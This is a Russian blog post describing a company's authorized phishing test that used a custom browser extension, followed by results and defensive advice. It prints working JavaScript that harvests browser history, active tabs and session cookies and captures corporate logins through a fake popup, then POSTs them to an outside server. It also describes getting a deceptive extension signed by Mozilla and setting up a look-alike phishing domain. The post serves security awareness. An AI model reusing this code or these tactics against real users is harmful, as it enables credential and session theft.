
Привет, Хабр! Я Ксюша, младший специалист по безопасности конечных устройств в Selectel. Мы с командой ежегодно проверяем наших сотрудников на внимательность с помощью фишинг-тестов. В этот раз решили отойти от формулы привычного фишинга и сделать что-то новое. Написали браузерное расширение на JavaScript, убедили Mozilla в своей честности, запустили весьма правдоподобную рассылку для сотрудников и немного поиграли на чувствах тех, кто верит, что ИИ будет работать за нас. Подробности под катом!
Внимание! Этот материал создан исключительно в исследовательских целях и не имеет намерения никому навредить. Его цель — подсветить проблему, а не дать руководство по ее эксплуатации. Статья должна показать, насколько легко создать простейшее расширение и использовать его для сбора точек входа в компанию. Как говорится, а есть ли это в вашей модели угроз?
Немного контекста и громких случаев
Браузерные расширения упрощают жизнь, но собирают данных больше, чем надо. Отсюда вопрос: а кто, что и зачем собирает?
Честным разработчикам данные нужны для статистики или персонализации расширений. В этом нет ничего дурного. Проблема в другом: пользователю очень сложно определить, что разработчик действительно честный. Или что безопасное расширение не было украдено у его авторов.
Подобный случай кражи произошел с компанией Cyberheaven, которая специализируется на безопасности данных, полгода назад. Она выпустила свое браузерное расширение, но один из сотрудников попался на фишинг. Его доступы украли и использовали, чтобы внедрить в то самое расширение вредоносный код. Вот так один попавшийся сотрудник открыл доступ к данным 400 000 пользователей. И это только те, кто автоматически получил обновление. На самом деле установок было куда больше.
Иногда и сами разработчики переписывают код в своих целях. В июле этого года исследователи из компании KOI Security сообщили, что 18 популярных расширений стали собирать данные обо всех страницах, которые посещали пользователи (сомнительно, но окэй), а затем перенаправлять запросы на нужные владельцу сайты (а вот это уже вредоносная функциональность). И ведь начиналось все нормально: расширения несколько лет не делали ничего плохого и имели верификацию магазинов.
И, конечно, изначально вредоносное расширение тоже может вполне легально находиться в магазине. Только за март 2025 компания ExtensionTotal обнаружила 45 подобных примеров в Chrome Web Store с загрузками у 250 000 пользователей.
Мотивы к разработке или «озловреднению» расширений бывают разные, но чаще всего это именно попытка заработать. Причем заработать можно как с помощью украденных паролей от криптокошельков, так и просто на продаже данных брокерам.
И, да, формально расширения в магазинах браузеров проверяются, но есть способы это обойти. При создании фишинг-теста мы даже проходили этот этап. Подробнее расскажу далее.
Почему мы выбрали для фишинг-теста именно расширение
Актуальность. Только за последние полгода появилось немало новостей (см. предыдущий раздел).
Распространенность. Согласно исследованию, у каждого второго пользователя установлено расширение c высоким уровнем доступа к данным браузера. Вероятно, у вас тоже.
Простота. Распространенное и привычное (и необычное в контексте фишинга) вызывает меньше подозрений, а значит, больше шансов, что кто-то да купится.
Когда создавалось расширение, целью было проверить сотрудников на самом первом этапе: установят или нет. Следовательно, я задалась вопросом: «А какие секреты рядового пользователя можно получить средствами браузера, не прибегая к исполнению кода или эксплуатации уязвимостей?» Еще было необходимо как-то идентифицировать каждого юзера.

Security Center
Рассказываем о лучших практиках и средствах ИБ, требованиях и изменениях в законодательстве.
Что можно получить
Обычно вредоносные расширения могут красть данные, шпионить, манипулировать контентом и рекламой, подделывать запросы и эксплуатировать уязвимости браузеров. Мое же ПО не пошло настолько далеко и получилось весьма примитивным. В свое оправдание скажу, что у меня и не было цели собрать о сотруднике все, что можно. Нужно было лишь узнать, точно ли коллеги проверяют то, что устанавливают.
Для нужд фишинг-теста собирались только:
время установки расширения;
UserAgent (для статистики по браузерам, но позже откажемся от этого);
активная вкладка и история браузера (потому что это возможно);
cookie-файлы нашего внутреннего портала, чтобы идентифицировать установившего.
Пока я писала эту статью, появилось исследование о том, как можно делать такие интересные вещи вроде скриншотов экрана и включения камеры. Конечно, большая часть этой информации уже давно есть в открытых источниках.
Посмотрим немного на код
Код простейший. Зато он прекрасно демонстрирует, насколько легко получить базовую информацию о пользователе, а при достаточной удаче — даже доступ внутрь компании. Только представьте, что могут те, кто действительно охотится за данными карт и криптокошельков.
Собрать данные расширение может, если ему выданы на это права. Так, например, чтобы получить историю браузера, нужно выдать на это разрешение «history» в файле manifest.json. В этом файле хранятся метаданные и настройки для веб-расширений. Полный список запрошенных прав ниже:
"permissions": [
"activeTab",
"contextMenus",
"tabs",
"history",
"storage",
"downloads",
"cookies",
"https://*/*",
"browserSettings",
"webRequest",
"http://data.сite.ru/"
],
Магазины пишут, что при запросе избыточных прав публикация расширения будет отклонена. У меня, как можно видеть, таких избыточных разрешений довольно много. Например, downloads остались от первых экспериментов, когда я сохраняла файлы с собранными данными прямо в папку Загрузки на компьютере с расширением. Посмотрим, к чему это приведет.
Теперь используем выданные разрешения:
// Получаем активную вкладку:
function getActiveTab(callback) {
chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => {
callback(tabs[0] || null);
});
}
getActiveTab((activeTab) => {
const activeTabInfo = activeTab
? `Active Tab: ${activeTab.title} (${activeTab.url})\n`
: "Active Tab: Not available\n";
});
// Находим историю браузера:
function getLastHistoryEntries(maxResults, callback) {
chrome.history.search({ text: "", maxResults: maxResults }, (historyItems) => {
callback(historyItems || []);
});
}
GetLastHistoryEntries(10, (historyEntries) => {
const historyInfo = historyEntries
.map((entry) => `Title: ${entry.title}, URL: ${entry.url}`)
.join("\n");
});
// Собираем куки:
function getCookiesForSite(domain, callback) {
chrome.cookies.getAll({ domain }, (cookies) => {
if (!cookies || cookies.length === 0) {
callback("No cookies found\n");
return;
}
const cookieData = cookies
.map((cookie) => `Name: ${cookie.name}, Value: ${cookie.value}`)
.join("\n");
callback(cookieData);
});
}
getCookiesForSite("site.org", (cookieData))
});
// Получаем UserAgent и время установки
const userAgent = navigator.userAgent;
const currentTime = new Date().toISOString();
Ну и, конечно, какой фишинг без сбора корпоративных логинов и паролей. Сделали красивое всплывающее окно для «входа» в расширение. Когда пользователь заполнял там предложенные поля (считайте — сливал свои логин и пароль, хотя и сообщения с «ха-ха, я вас раскусил» тоже были), данные уходили нам. А юзер видел сообщение: «Сервер занят, попробуйте позже».
Все собранное нужно было сохранить и передать от пользователя создателям расширения (отделу ИБ). Данные собирались при установке и каждом вводе логина и пароля. Для начала сохраним их в переменную внутри расширения.
let logEntry = `User-Agent: ${userAgent}\nTime: ${currentTime}\n${activeTabInfo}\nHistory:\n${historyInfo}\n${settingsInfo}\nCookies:\n${cookieData}\n\n`;
if (userData) {
logEntry += `User Login: ${userData.login}\nUser Password: ${userData.password}\n`;
}
А затем все данные собирались отдельной функцией saveToServ
. Она записывает содержимое переменной logEntry
в файл и методом POST
отсылает его на заранее поднятый node.js сервер.
function saveToServ(fileName, content) {
const formData = new FormData();
const file = new File([content], fileName, { type: "text/plain" });
formData.append("file", file);
console.log("Отправка данных:", formData);
fetch("https://data.cite.ru/", {
method: "POST",
body: formData,
mode: "no-cors"
})
.then((response) => response.text())
.then((data) => console.log("Файл успешно загружен:", data))
.catch((error) => console.error("Ошибка при отправке файла:", error));
}
saveToServ("user_agent_log.txt", logEntry)
Файлы с данными создавались каждый раз при получении новой информации. Подозреваю, что разработчики уже негодуют по этому поводу, ведь сама идея создавать новый файл при каждой авторизации выглядит далекой от чего-то оптимального и правильного. Но грепать скриптом по строкам cookie и password было вполне неплохо.
Обходим защиту магазинов расширений
После того, как расширение было готово, появился вопрос: «А как его передать сотрудникам?» Напомню, мы целились в тех, кто готов скачать и запустить файлы на своем компьютере, даже если все выглядит максимально подозрительно. Соответственно, следующий шаг — получить файлы расширений!
У каждого браузера своя политика в отношении расширений из файлов. Для Chrome нужно собрать манифест и background.js с основным кодом в zip-архив. Этого достаточно — можно открыть браузер и установить расширение в режиме разработчика. Но вот Firefox обязательно требует пропускать расширения через внутренний магазин, чтобы получить верификацию. Раз без этого никак, то загружаем в кабинет разработчика zip-архив — а после проверки выгружаем .xpi, который теперь уже можно установить.
Для Safari тоже есть варианты передать файл расширения юзеру — например, с помощью TestFlight. Но для пользователя это было бы слишком сложно. Маловероятно, что кто-то бы действительно повелся, поэтому просто пообещали обладателям Safari, что обязательно выпустим для них версию в будущем, а пока попробуйте в Chrome или Firefox.
Итак, про скам и проверку Mozilla. Мы ожидали, что проверка нас остановит, ведь описание не соответствовало реальной функциональности, которую вы видели ранее в коде (помним и про все избыточные разрешения). Но нет. С три короба наврали в описании приложения о том, как оно облегчает жизнь и вообще все такое модное и нейросетевое. Ждем пять минут — расширение подписано со стороны Firefox.

К слову о методах обхода проверок: часто вредоносный код подгружается в расширения уже после проверки основного и безобидного. Поэтому перед проверкой расширения в магазине ставим галочку, где клятвенно заверяем, что наше приложение не будет модифицировать само себя после проверки, и исходный код на ручное ревью отправлять не надо.
Предполагаю, что мы прошли проверку, так как технически сбор данных пользователей и отправка их на какой-то IP-адрес или домен не считается вредоносной функциональностью (и вполне справедливо). Однако как проверялась неизбыточность запрошенных разрешений — все еще большой вопрос. Что было бы, постарайся расширение выходить в область кейлоггеров или скриншотов — надеюсь, расскажете в комментариях!
«Вам письмо!»
Расширения собрали — теперь нужно их отправить пользователям. Фильтры нашей корпоративной почты не пропускали вложения таких странных форматов как .xpi, поэтому пришлось изворачиваться. Пусть расширение нужно будет скачать из хранилища на стороннем сайте по ссылке.
Письма отправляли через фреймворк GoPhish. Выбрали его, так как он позволяет отследить и тех пользователей, кто скачал расширение, но по какой-то причине не установил. А еще через него видно активность получателя письма (открыл, нажал на ссылку и пр). Статистика собирается с помощью трекеров, добавленных в письмо.
Мы заранее выкупили фишинговый домен, который предельно напоминал легитимный. В этой статье будем звать его example.com. После этого арендовали сервер. На нем настроили nginx, который обрабатывал два домена: disk.example.com и drive.example.com.
Для корректного сбора информации потребовалось реализовать HTML-страничку с самой базовой функциональностью, чтобы перенаправлять пользователя в зависимости от нажатой ссылки на нужный файл. Когда сотрудник нажимал на ссылку из письма, он попадал на HTML-страницу disk, которая собирала это нажатие в статистику и перенаправляла пользователя дальше, на drive, где была доступна ссылка на скачивание файлов с хранилища на домене data.example.com.
После этого с помощью того же GoPhish создали шаблон письма, который будет отправляться пользователю. Вставили в письмо ссылки на скачивание расширений, взяли картинку из давних постов в соцсетях, добавили горячо нами любимых Тирексов и хайпанули на теме ИИ-ассистентов. Вот такая красота получилась:

Результаты
Ахтунг о фишинге в общий чат прилетел в ту же минуту после отправки письма! Однако даже спустя пару дней были те, кто «пробовал позже».

Лишь треть скачавших расширение дошли до установки. Но те, кто все таки повелись, в большинстве своем вводили и пароли. Отдадим должное: сотрудники сразу понимали, что произошло, и шли все менять.
Если обобщенно, то мы получили:
несколько десятков установок расширения,
20+ слитых действующих паролей сотрудников,
доступ к последним страницам истории браузеров коллег.
Ну и что с этим делать
Мы будем стремиться к тому, чтобы не было ни одного такого сотрудника! И пусть это прозвучит банально, но вот вам небольшая памятка.
Не вводите корпоративные логины и пароли на странных сайтах и в полях расширений. Всегда проверяйте, куда вы собираетесь передать эти данные.
Смотрите, какие права выдаются расширениям при установке. Если в сведениях о расширении указаны права в духе «Просмотр и изменение ваших данных на всех сайтах» или нечто, явно не соответствующее функциональности, — это повод задуматься о его удалении. Уже выданные права можно посмотреть в меню расширений своего браузера.
Периодически просматривайте установленные расширения. Некоторые могли быть нужны для разовых задач и уже давно не используются, но все это время остаются активны. Для этого в Chrome в адресную строку вставьте chrome://extensions/, для Firefox — about:addons, а для Safari нажмите клавиши «Command» и «,».
Не устанавливайте расширения через включение режима разработчика, ведь даже магазины — не панацея. А в этом режиме расширению даются максимальные права без дополнительных вопросов. При установке из магазина хотя бы увидите список запрошенных разрешений и сможете от них отказаться.
Не забывайте о правилах базовой гигиены — антивирус и своевременные обновления системы, браузера и расширений помогут защитить себя и компанию, если подцепите вредонос в виде расширения (в том числе после обновлений).
Заключение
Основная проблема расширений в том, что пользователю очень сложно проверить даже то, какие именно данные собираются. Расширения вредны в ситуации, когда пользователи сохраняют информацию прямо в браузерах, надеясь на их безопасность. Часто механизмы безопасности браузеров действительно защищают от исполнения вредоносного кода, но все еще достаточно многое можно сделать и вполне легитимными инструментами. Как говорится, лучшее — враг хорошего. Расширения делают нашу жизнь проще, но часто они вторичны и не стоят всех потенциальных рисков. Здоровья вам и вашим браузерам.
Как вы проводили фишинг-тесты? Делитесь опытом!
GoldGoblin
А эффективность паяльника не тестировали? =)